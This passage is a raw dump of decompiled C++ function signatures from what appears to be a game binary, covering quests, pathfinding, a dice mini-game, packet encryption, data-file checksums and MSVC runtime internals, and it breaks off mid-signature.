__thiscall CQuest::IsDoingableQuest(CQuest *this, QUEST_DATA *lpQuestData); int __thiscall CQuest::IsDoingableQuest(CQuest *this, unsigned __int16 hQuestID); int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, PLAYER_QUEST_INFO *pQuestInfo); int __thiscall CQuest::IsRewardAbleQuest(CQuest *this, unsigned __int16 hQuestID); void __thiscall CQuest::CQuest(CQuest *this, CQuestData *pQuestData); int __thiscall CQuest::SetQuestDone(CQuest *this, unsigned __int16 nID); PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, QUEST_DATA *lpQuestData); PLAYER_QUEST_STATUS __thiscall CQuest::GetNewQuestStatus(CQuest *this, unsigned __int16 nID); int __thiscall CQuest::IsDoingQuest(CQuest *this, unsigned __int16 hQuestID); PLAYER_QUEST_STATUS __thiscall CQuest::DoingQuestUpdateStatus(CQuest *this, int nIndex); int __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus, QUEST_DATA *lpQuestData); int __thiscall CQuest::QuestPlayer_NPCMobKill(CQuest *this, unsigned __int16 nMobID); int __thiscall CQuest::QuestPlayer_TakeItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot); int __thiscall CQuest::QuestPlayer_DestroyItem(CQuest *this, unsigned __int16 nItemID, unsigned __int16 nCurrentLot); int __thiscall CQuest::QuestPlayer_CheckLocation(CQuest *this); int __thiscall CQuest::QuestPlayer_ScenarioDone(CQuest *this, unsigned __int16 nScenarioID); int __thiscall CQuest::QuestPlayer_RaceChange(CQuest *this, char nRace); int __thiscall CQuest::QuestPlayer_ClassChange(CQuest *this, char nClass); int __thiscall CQuest::QuestPlayer_TimeProcess(CQuest *this); void __thiscall CQuest::GetQuestStatusWithNPC(CQuest *this, CQuest::NPC_QUEST_STATUS *kQuestStatus); char *__thiscall PacketEncrypt::pe_FromClientToServer(PacketEncrypt *this, char *buf, int len); char *__thiscall PacketEncrypt::pe_FromServerToClient(PacketEncrypt *this, char *buf, int len); int __thiscall CShnDataFileCheckSum::__unnamed::__unnamed(int this); void __thiscall CShnDataFileCheckSum::_CShnDataFileCheckSum(CShnDataFileCheckSum *this); char __thiscall CShnDataFileCheckSum::InitDataFileCheckSum(CShnDataFileCheckSum *this, const char *FileName, Name8 nCheckSum); int __thiscall CShnDataFileCheckSum::DataFileCheck(CShnDataFileCheckSum *this, Name8 *Data); Name8 *__thiscall CShnDataFileCheckSum::GetDataFileCheckSum(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index); char __thiscall CShnDataFileCheckSum::isFileLoadAllComplete(CShnDataFileCheckSum *this); char *__thiscall CShnDataFileCheckSum::NotLoadFileName(CShnDataFileCheckSum *this); char *__thiscall CShnDataFileCheckSum::GetDataFileName(CShnDataFileCheckSum *this, SHN_DATA_FILE_INDEX Index); void __thiscall CShnDataFileCheckSum::CShnDataFileCheckSum(CShnDataFileCheckSum *this); void __thiscall CChargedItem::CChargedItem(CChargedItem *this); int __thiscall CChargedItem::Add(CChargedItem *this, PROTO_CHARGED_ITEM_INFO *pInfo); PROTO_CHARGED_ITEM_INFO *__thiscall CChargedItem::Find(CChargedItem *this, unsigned int ItemOrderNo); void __thiscall CChargedItem::Clear(CChargedItem *this); void __thiscall CFindWay::SetLoadedData(CFindWay *this, unsigned int uiRealOneSideDataSize, unsigned int uiOneSideBlockCnt, char *pBlockInfoByte); void __thiscall CFindWay::_CFindWay(CFindWay *this); int __thiscall CFindWay::LineIntersect(CFindWay *this); void __thiscall CFindWay::LenMapInit(CFindWay *this, int nSizeX, int nSizeY); void __thiscall CFindWay::LenMapClear(CFindWay *this); int __thiscall CFindWay::LenMapSet(CFindWay *this, int x, int y, unsigned __int16 value); int __thiscall CFindWay::SearchMoveable(CFindWay *this); void __thiscall CFindWay::FindWay(CFindWay *this); void __thiscall CFindWay::Init(CFindWay *this); void __thiscall CFindWay::CFindWay(CFindWay *this); unsigned int __cdecl ShineObjectHandleUnion::sohu_Initialize(); char __thiscall ShineObjectHandleUnion::sohu_HandleSplit(ShineObjectHandleUnion *this, unsigned __int16 *hnd); bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, char *pSource, int *pTarget); bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, int nSource, char *pTarget); bool __thiscall DiceTaiSai::get_PrizeWinningBet(DiceTaiSai *this, int nDiceVariety, DiceTaiSaiPrizeWinning *pPrizeWinningBet); void __thiscall DiceTaiSaiDividind::DiceTaiSaiDividind(DiceTaiSaiDividind *this); bool __thiscall DiceTaiSaiDividind::isInitFinishe(DiceTaiSaiDividind *this); bool __thiscall DiceTaiSaiDividind::Init(DiceTaiSaiDividind *this, DividendRate nDividind, unsigned __int16 nDividindRate); bool __thiscall DiceTaiSaiDividind::is_CanBettingMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, unsigned int nMaxBetMoney, unsigned int nBetMoney); unsigned int __thiscall DiceTaiSaiDividind::get_DividindMoney(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum, unsigned int nBetMoney); unsigned __int16 __thiscall DiceTaiSaiDividind::get_DividendRate(DiceTaiSaiDividind *this, DICE_TAISAI_BETTING nBet, int nSingleNum); void __thiscall DiceTaiSai::Init(DiceTaiSai *this, int NoSumTriple); void __thiscall CWeaponTitle::CWeaponTitle(CWeaponTitle *this); int __thiscall CWeaponTitle::Read(CWeaponTitle *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); unsigned int __thiscall CWeaponTitle::GetLevel(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount); WEAPON_TITLE_DATA *__thiscall CWeaponTitle::GetLevelData(CWeaponTitle *this, unsigned __int16 MobID, unsigned int MobKillCount, unsigned int *pLevel); void __thiscall CWeaponTitle::_CWeaponTitle(CWeaponTitle *this); bool __cdecl StrUtil::ConvertToNormalName(char *buf, const char *deletedCharName); QUEST_DATA *__thiscall CQuestData::GetQuestDataByIndex(CQuestData *this, unsigned int Index); void __thiscall std::list_std::allocator>>::clear(std::list,std::allocator > > *this); std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this); std::_List_nod,std::allocator > >::_Node *__thiscall std::list_std::allocator>>::_Buynode(std::list,std::allocator > > *this, std::_List_nod,std::allocator > >::_Node *_Next, std::_List_nod,std::allocator > >::_Node *_Prev, std::pair *_Val); void __thiscall std::list_std::allocator>>::_list_std::allocator>>(std::list,std::allocator > > *this); std::list,std::allocator > >::iterator *__thiscall stdext::_Hash>_std::allocator>_0>>::lower_bound(stdext::_Hash >,std::allocator >,0> > *this, std::list,std::allocator > >::iterator *result, const unsigned __int16 *_Keyval); int std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::erase(...); QUEST_DATA *__thiscall CQuestData::GetQuestData(CQuestData *this, unsigned __int16 QuestID); void __thiscall std::list_std::allocator>>::_Incsize(std::list,std::allocator > > *this, unsigned int _Count); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Xlen(std::vector,std::allocator > >::iterator,std::allocator,std::allocator_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Insert_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Construct_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val); void __thiscall stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>(stdext::hash_multimap >,std::allocator > > *this); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::resize(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator _Val); void __thiscall std::vector_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>::_Assign_n(std::vector,std::allocator > >::iterator,std::allocator,std::allocator,std::allocator > >::iterator *_Val); void __thiscall stdext::_Hash>_std::allocator>_1>>::_Hash>_std::allocator>_1>>(stdext::_Hash >,std::allocator >,1> > *this, stdext::hash_compare > *_Parg, std::allocator > *_Al); std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_1>>::insert(stdext::_Hash >,std::allocator >,1> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val); std::pair,std::allocator > >::iterator,bool> *__thiscall stdext::_Hash>_std::allocator>_0>>::insert(stdext::_Hash >,std::allocator >,0> > *this, std::pair,std::allocator > >::iterator,bool> *result, std::pair *_Val); void __thiscall CQuestData::CQuestData(CQuestData *this, CDataReader *pQuestDialog); void __thiscall CQuestData::ClearBF(CQuestData *this); void __thiscall CQuestData::QuestData_HashDataIn(CQuestData *this); void __thiscall CQuestData::_CQuestData(CQuestData *this); int __thiscall CQuestData::ReadModeRead(CQuestData *this, const char *pFN); int __thiscall CQuestData::ReadModeEdit(CQuestData *this, const char *pFN); int __thiscall CQuestData::Read(CQuestData *this, const char *pFN, int bReadonly); void __thiscall CQuestParserScript::CQuestParserScript(CQuestParserScript *this); int __thiscall CQuestParserScript::IsDigitStr(CQuestParserScript *this, const char *pStr); const char *__thiscall CQuestParserScript::MarkGet(CQuestParserScript *this, const char *pMarkName); int __thiscall CQuestParserScript::MarkGo(CQuestParserScript *this, const char *pMarkName); void __thiscall CQuestParserScript::ParserClose(CQuestParserScript *this); int __thiscall CQuestParserScript::GetScriptVariableValue(CQuestParserScript *this, unsigned int *pValue, unsigned __int16 nQuestID, QUEST_SCRIPT_VARIABLE VarID, unsigned int Value); std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Max(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Min(std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Inc(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this); void __thiscall CQuestParserScript::_CQuestParserScript(CQuestParserScript *this); int __thiscall CQuestParserScript::MarkAdd(CQuestParserScript *this, const char *pMarkName, const char *pMarkPoint); void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lrotate(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Rrotate(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::const_iterator::_Dec(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this); void __thiscall std::num_get>>::num_get>>(std::num_get > > *this, unsigned int _Refs); int __thiscall std::basic_streambuf>::snextc(std::basic_streambuf > *this); bool __thiscall std::basic_istream>::_Ipfx(std::basic_istream > *this, bool _Noskip); std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this); unsigned int __cdecl std::num_get>>::_Getcat(std::locale::facet **_Ppf); void __thiscall std::basic_istream>::sentry::sentry(std::basic_istream >::sentry *this, std::basic_istream > *_Istr, bool _Noskip); std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Lbound(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::basic_string,std::allocator > *_Keyval); std::num_get > > *__cdecl std::use_facet>>>(std::locale *_Loc); std::basic_istream > *__thiscall std::basic_istream>::operator>>(std::basic_istream > *this, int *_Val); std::basic_istream > *__cdecl std::operator>>_std::allocator>(std::basic_istream > *_Istr, std::basic_string,std::allocator > *_Str); std::basic_istream > *__cdecl std::getline_std::allocator>(std::basic_istream > *_Istr, std::basic_string,std::allocator > *_Str, const char _Delim); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::find(...); bool __cdecl CQuestParserScript::GetIDbyIndex(std::basic_string,std::allocator > *rstrIndexName, int *rnID); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, bool *_Val); bool __thiscall std::istreambuf_iterator>::equal(std::istreambuf_iterator > *this, std::istreambuf_iterator > *_Right); char __thiscall std::istreambuf_iterator>::_Peek(std::istreambuf_iterator > *this); int __cdecl std::num_get>>::_Getifld(std::num_get > > *this, char *_Ac, std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, int _Basefield, std::locale *_Loc); void __thiscall std::istreambuf_iterator>::_Inc(std::istreambuf_iterator > *this); int __cdecl std::_Getloctxt>>(std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, unsigned int _Numfields, const char *_Ptr); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned __int16 *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned int *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, int *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned int *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, __int64 *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned __int64 *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, float *_Val); int __cdecl std::num_get>>::_Getffld(std::num_get > > *this, char *_Ac, std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, std::locale *_Loc); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, long double *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, long double *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, void **_Val); int std::_Tree_nod_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Node::_Node(...); std::pair,std::allocator >,int> *__cdecl std::make_pair_std::allocator>_int>(std::pair,std::allocator >,int> *result, std::basic_string,std::allocator > _Val1, int _Val2); STRUCT_QSC *__thiscall CQuestParserScript::ParserNext(CQuestParserScript *this); int __thiscall CQuestParserScript::CommandRun(CQuestParserScript *this, STRUCT_QSC *pCmd); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Buynode(...); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase(...); int __thiscall CQuestParserScript::ParserStart(CQuestParserScript *this, unsigned __int16 nQuestID, const char *pScript); void __thiscall std::basic_ifstream>::basic_ifstream>(std::basic_ifstream > *this); void __thiscall std::basic_ifstream>::_basic_ifstream>(std::basic_ifstream > *this); void __thiscall std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Erase(std::_Tree,std::allocator >,int,std::less,std::allocator > >,std::allocator,st *this, std::_Tree_nod,std::allocator >,int,std::less,std::allocator > >,std::allocator_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::_Insert(...); void __thiscall std::basic_ifstream>::_vbase_destructor(std::basic_ifstream > *this); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::insert(...); void *__thiscall std::basic_ifstream>::_vector_deleting_destructor_(std::basic_ifstream > *this, char a2); int std::_Tree_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>_0>>::erase(...); bool __cdecl CQuestParserScript::LoadConvertIDfromIndexName(const char *pkFileName); void __thiscall std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::_map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>(std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *this); void __thiscall std::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>::map_std::allocator>_int_std::less_std::allocator>>_std::allocator_std::allocator>_const_int>>>(std::map,std::allocator >,int,std::less,std::allocator > >,std::allocator,std::allocator > *this); void __thiscall CMD5Checksum::_CMD5Checksum(CMD5Checksum *this); void *__thiscall CMD5Checksum::_vector_deleting_destructor_(CMD5Checksum *this, unsigned int); void __thiscall CMD5Checksum::Transform(CMD5Checksum *this, char *Block); void __thiscall CMD5Checksum::Update(CMD5Checksum *this, char *Input, unsigned int nInputLen); std::basic_string,std::allocator > *__thiscall CMD5Checksum::Final(CMD5Checksum *this, std::basic_string,std::allocator > *result); std::basic_string,std::allocator > *__cdecl CMD5Checksum::GetMD5(std::basic_string,std::allocator > *result, char *pBuf, unsigned int nLength); void *__cdecl operator new__(unsigned int count); void *__cdecl operator new(unsigned int size); void __thiscall std::_String_base::_Xran(std::_String_base *this); void __thiscall std::_String_base::_Xlen(std::_String_base *this); int __cdecl _Tolower_lk(int c, _Ctypevec *ploc); _Ctypevec *__cdecl _Getctype(_Ctypevec *result); int __cdecl _Tolower(int c, _Ctypevec *ploc); _Cvtvec __cdecl _Getcvt(); void __thiscall std::_Init_locks::_Init_locks(std::_Init_locks *this); void __thiscall std::_Init_locks::__Init_locks(std::_Init_locks *this); void __thiscall std::_Lockit::_Lockit(std::_Lockit *this, int kind); void __thiscall std::_Lockit::__Lockit(std::_Lockit *this); void __thiscall std::_Fac_node::__Fac_node(std::_Fac_node *this); void __cdecl _Deletegloballocale(void *ptr); void __thiscall tidy_global(int this); void __cdecl _Setgloballocale(void *ptr); std::locale::facet *__thiscall std::locale::_Getfacet(std::locale *this, unsigned int id); void __thiscall _Fac_tidy(int this); void __thiscall std::locale::facet::_Register(std::locale::facet *this); void __thiscall std::locale::_Locimp::__Locimp(std::locale::_Locimp *this); void __thiscall std::_Locinfo::__Locinfo(std::_Locinfo *this); void *__thiscall std::locale::_Locimp::_scalar_deleting_destructor_(std::locale::_Locimp *this, unsigned int); void __thiscall std::locale::_Locimp::_Locimp(std::locale::_Locimp *this, bool transparent); void __thiscall std::_Locinfo::_Locinfo(std::_Locinfo *this, const char *locname); std::locale::_Locimp *__cdecl std::locale::_Init(); void __thiscall std::locale::locale(std::locale *this); void __thiscall std::ios_base::_Callfns(std::ios_base *this, std::ios_base::event ev); void __thiscall std::ios_base::_Tidy(std::ios_base *this); void __thiscall std::ios_base::_ios_base(std::ios_base *this); void __thiscall std::runtime_error::_runtime_error(std::runtime_error *this); const char *__thiscall std::runtime_error::what(std::runtime_error *this); void *__thiscall std::runtime_error::_vector_deleting_destructor_(std::runtime_error *this, unsigned int); void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::basic_string,std::allocator > *_Message); void *__thiscall std::ios_base::failure::_scalar_deleting_destructor_(std::ios_base::failure *this, unsigned int); void __thiscall std::ios_base::failure::_failure(std::ios_base::failure *this); void __thiscall std::ios_base::clear(std::ios_base *this, int state, bool reraise); void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::runtime_error *__that); void __thiscall std::ios_base::failure::failure(std::ios_base::failure *this, std::ios_base::failure *__that); void __thiscall std::ios_base::_Init(std::ios_base *this); void __thiscall std::_Mutex::_Mutex(std::_Mutex *this); void __thiscall std::_Mutex::__Mutex(std::_Mutex *this); void __thiscall std::_Mutex::_Lock(std::_Mutex *this); void __thiscall std::_Mutex::_Unlock(std::_Mutex *this); int __cdecl _Toupper_lk(int c, _Ctypevec *ploc); int __cdecl _Toupper(int c, _Ctypevec *ploc); bool __cdecl std::uncaught_exception(); _iobuf *__cdecl std::_Fiopen(const char *filename, int mode, int __formal); long double __cdecl _Stod(const char *s, char **endptr, int pten); long double __cdecl _Stold(const char *s, char **endptr, int pten); void __thiscall std::bad_alloc::_bad_alloc(std::bad_alloc *this); void *__thiscall std::bad_alloc::_vector_deleting_destructor_(std::bad_alloc *this, unsigned int); void __thiscall std::bad_alloc::bad_alloc(std::bad_alloc *this, std::bad_alloc *__that); void __cdecl std::_Nomemory(); void __cdecl _Mtxinit(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Mtxdst(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Mtxlock(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Mtxunlock(_RTL_CRITICAL_SECTION *_Mtx); void __cdecl _Atexit(void (__cdecl *pf)()); void __thiscall _Init_atexit::__Init_atexit(_Init_atexit *this); // void __usercall shortsort(char *lo, char *hi, unsigned int width, int (__cdecl *comp)(const void *, const void *)); void __cdecl qsort(void *base, unsigned int num, unsigned int width, int (__cdecl *comp)(const void *, const void *)); void __stdcall _JumpToContinuation(void *target, EHRegistrationNode *pRN); void __stdcall _CallMemberFunction1(void *pthis, void *pmfn, void *pthat, int val2); void __stdcall _UnwindNestedFrames(EHRegistrationNode *pRN, EHExceptionRecord *pExcept); int __stdcall ReturnPoint(int pRN, int pExcept); // weak _EXCEPTION_DISPOSITION __cdecl __CxxFrameHandler(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC); _EXCEPTION_DISPOSITION __cdecl CatchGuardHandler(EHExceptionRecord *pExcept, CatchGuardRN *pRN, void *pContext, void *__formal); int __cdecl _CallSETranslator(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC, _s_FuncInfo *pFuncInfo, int CatchDepth, EHRegistrationNode *pMarkerRN); int __cdecl ExceptionContinuation(int pExcept, int pRN, int pContext, int pDC, int pFuncInfo, int CatchDepth, int pMarkerRN); // weak _EXCEPTION_DISPOSITION __cdecl TranslatorGuardHandler(EHExceptionRecord *pExcept, TranslatorGuardRN *pRN, void *pContext, void *__formal); _s_TryBlockMapEntry *__cdecl _GetRangeOfTrysToCheck(_s_FuncInfo *pFuncInfo, int CatchDepth, int curState, unsigned int *pStart, unsigned int *pEnd); FrameInfo *__cdecl _CreateFrameInfo(FrameInfo *pFrameInfo, void *pExceptionObject); int __cdecl IsExceptionObjectToBeDestroyed(void *pExceptionObject); void __cdecl _FindAndUnlinkFrame(FrameInfo *pFrameInfo); void *__cdecl _CallCatchBlock2(EHRegistrationNode *pRN, _s_FuncInfo *pFuncInfo, void *handlerAddress, int CatchDepth, unsigned int NLGCode); void __cdecl _global_unwind2(PVOID TargetFrame); int __cdecl gu_return(PVOID TargetFrame); // weak signed int __cdecl ___00003(int a1, int a2, int a3, int a4); int __cdecl _local_unwind2(int a1, int a2); int __cdecl _abnormal_termination(); void __cdecl _NLG_Notify1(); void __cdecl _NLG_Notify(unsigned int dwInCode); int __cdecl _NLG_Go(int, int dwInCode); // weak void __cdecl operator delete__(void *p); void __stdcall __ArrayUnwind(void *ptr, unsigned int size, int count, void (__thiscall *pDtor)(void *)); void __stdcall _eh_vector_destructor_iterator_(void *ptr, unsigned int size, int count, void (__thiscall *pDtor)(void *)); void __cdecl report_failure(); void __fastcall __security_check_cookie(unsigned int cookie); void __stdcall _eh_vector_constructor_iterator_(void *ptr, unsigned int size, int count, void (__thiscall *pCtor)(void *), void (__thiscall *pDtor)(void *)); // int (__cdecl *__usercall onexit_lk(int (__cdecl *func)()))(); int __cdecl __onexitinit(); int (__cdecl *__cdecl _onexit(int (__cdecl *func)()))(); int __cdecl atexit(void (__cdecl *func)()); int __cdecl sprintf(char *string, const char *format); int __cdecl _fclose_lk(_iobuf *str); int __cdecl fclose(_iobuf *stream); _iobuf *__cdecl _fsopen(const char *file, const char *mode, int shflag); _iobuf *__cdecl fopen(const char *file, const char *mode); void __cdecl operator delete(void *p); void __cdecl memmove(char *dst, char *src, unsigned int count); int __cdecl CopyUnwindUp(int dst, int src, int count); // weak int __cdecl ByteCopyDown(int dst, int src, int count); // weak long double __cdecl difftime(int b, int a); // int __usercall make_time_t(tm *tb, int ultflag); int __cdecl mktime(tm *tb); void (__cdecl *__cdecl _cfltcvt_init())(long double *, char *, int, int, int); void __cdecl _fpmath(int initPrecision); void __stdcall _CxxThrowException(void *pExceptionObject, _s__ThrowInfo *pThrowInfo); void __thiscall exception::exception(exception *this); void __thiscall exception::exception(exception *this, const char *const *what); void __thiscall exception::exception(exception *this, exception *that); void __thiscall exception::_exception(exception *this); const char *__thiscall exception::what(exception *this); void __thiscall bad_cast::bad_cast(bad_cast *this, const char *_Message); void __thiscall bad_cast::bad_cast(bad_cast *this, bad_cast *that); void __thiscall bad_cast::_bad_cast(bad_cast *this); void *__thiscall exception::_vector_deleting_destructor_(exception *this, unsigned int); void *__thiscall bad_cast::_vector_deleting_destructor_(bad_cast *this, unsigned int); void __thiscall type_info::_type_info(type_info *this); void *__thiscall type_info::_scalar_deleting_destructor_(type_info *this, unsigned int); char *__cdecl strncpy(char *Dest, const char *Source, size_t Count); void *__cdecl bsearch(const void *key, const void *base, unsigned int num, unsigned int width, int (__cdecl *compare)(const void *, const void *)); tm *__cdecl localtime(const int *ptime); int __cdecl fprintf(_iobuf *str, const char *format); int __cdecl fputs(const char *string, _iobuf *stream); int __cdecl _flush(_iobuf *str); int __cdecl _fflush_lk(_iobuf *str); int __cdecl flsall(int flushflag); int __cdecl fflush(_iobuf *stream); int __cdecl _flushall(); int __cdecl fputc(int ch, _iobuf *str); int __cdecl atol(const char *nptr); int __cdecl atoi(const char *nptr); int __cdecl sscanf(const char *string, const char *format); void __cdecl _purecall(); unsigned int __cdecl _fwrite_lk(const void *buffer, unsigned int size, unsigned int num, _iobuf *stream); unsigned int __cdecl fwrite(const void *buffer, unsigned int size, unsigned int count, _iobuf *stream); unsigned int __cdecl _fread_lk(void *buffer, unsigned int size, unsigned int num, _iobuf *stream); unsigned int __cdecl fread(void *buffer, unsigned int size, unsigned int count, _iobuf *stream); void __cdecl __crtExitProcess(int status); void __cdecl _lockexit(); void __cdecl _unlockexit(); // void __usercall initterm(void (__cdecl **pfbegin)(), void (__cdecl **pfend)()); int __cdecl _cinit(int initFloatingPrecision); void __cdecl doexit(int code, int quick, int retcaller); void __cdecl exit(int code); void __cdecl _exit(int code); void __cdecl _cexit(); void __cdecl _c_exit(); int __cdecl time(int *timeptr); void __cdecl srand(unsigned int seed); int __cdecl rand(); void __cdecl strncmp(char *first, char *last, unsigned int count); int __cdecl _findclose(int hFile); int __cdecl __timet_from_ft(_FILETIME *pft); int __cdecl _findfirst(const char *szWild, _finddata_t *pfd); int __cdecl _findnext(int hFile, _finddata_t *pfd); // int __cdecl _except_handler3(int, _EH3_EXCEPTION_REGISTRATION *TargetFrame, int); idb void __cdecl free(void *pBlock); int __cdecl fgetc(_iobuf *stream); lconv *__cdecl localeconv(); void *__cdecl memchr(const void *Buf, int Val, size_t MaxCount); void __cdecl strcspn(char *string, char *control); double __cdecl pow(double, double); void __cdecl _CIpow(); void __cdecl _CIpow_default(); int __cdecl _stricmp(const char *dst, const char *src); void *__cdecl _heap_alloc(unsigned int size); void *__cdecl _nh_malloc(unsigned int size, int nhFlag); void *__cdecl malloc(unsigned int size); int __cdecl puts(const char *string); tm *__cdecl _localtime64(const __int64 *ptime); // __int64 __usercall make__time64_t(tm *tb, int ultflag); __int64 __cdecl _mktime64(tm *tb); char *__cdecl _mbstok(char *string, const char *sepset); int __cdecl fscanf(_iobuf *stream, const char *format); int __cdecl _chdir(const char *path); __int64 __cdecl _time64(__int64 *timeptr); void __cdecl _amsg_exit(int rterrnum); int __cdecl loc_5794E5(int rterrnum); // weak void __cdecl fast_error_exit(int rterrnum); int __cdecl _mbscmp(const char *s1, const char *s2); char *__cdecl fgets(char *string, int count, _iobuf *str); char *__cdecl 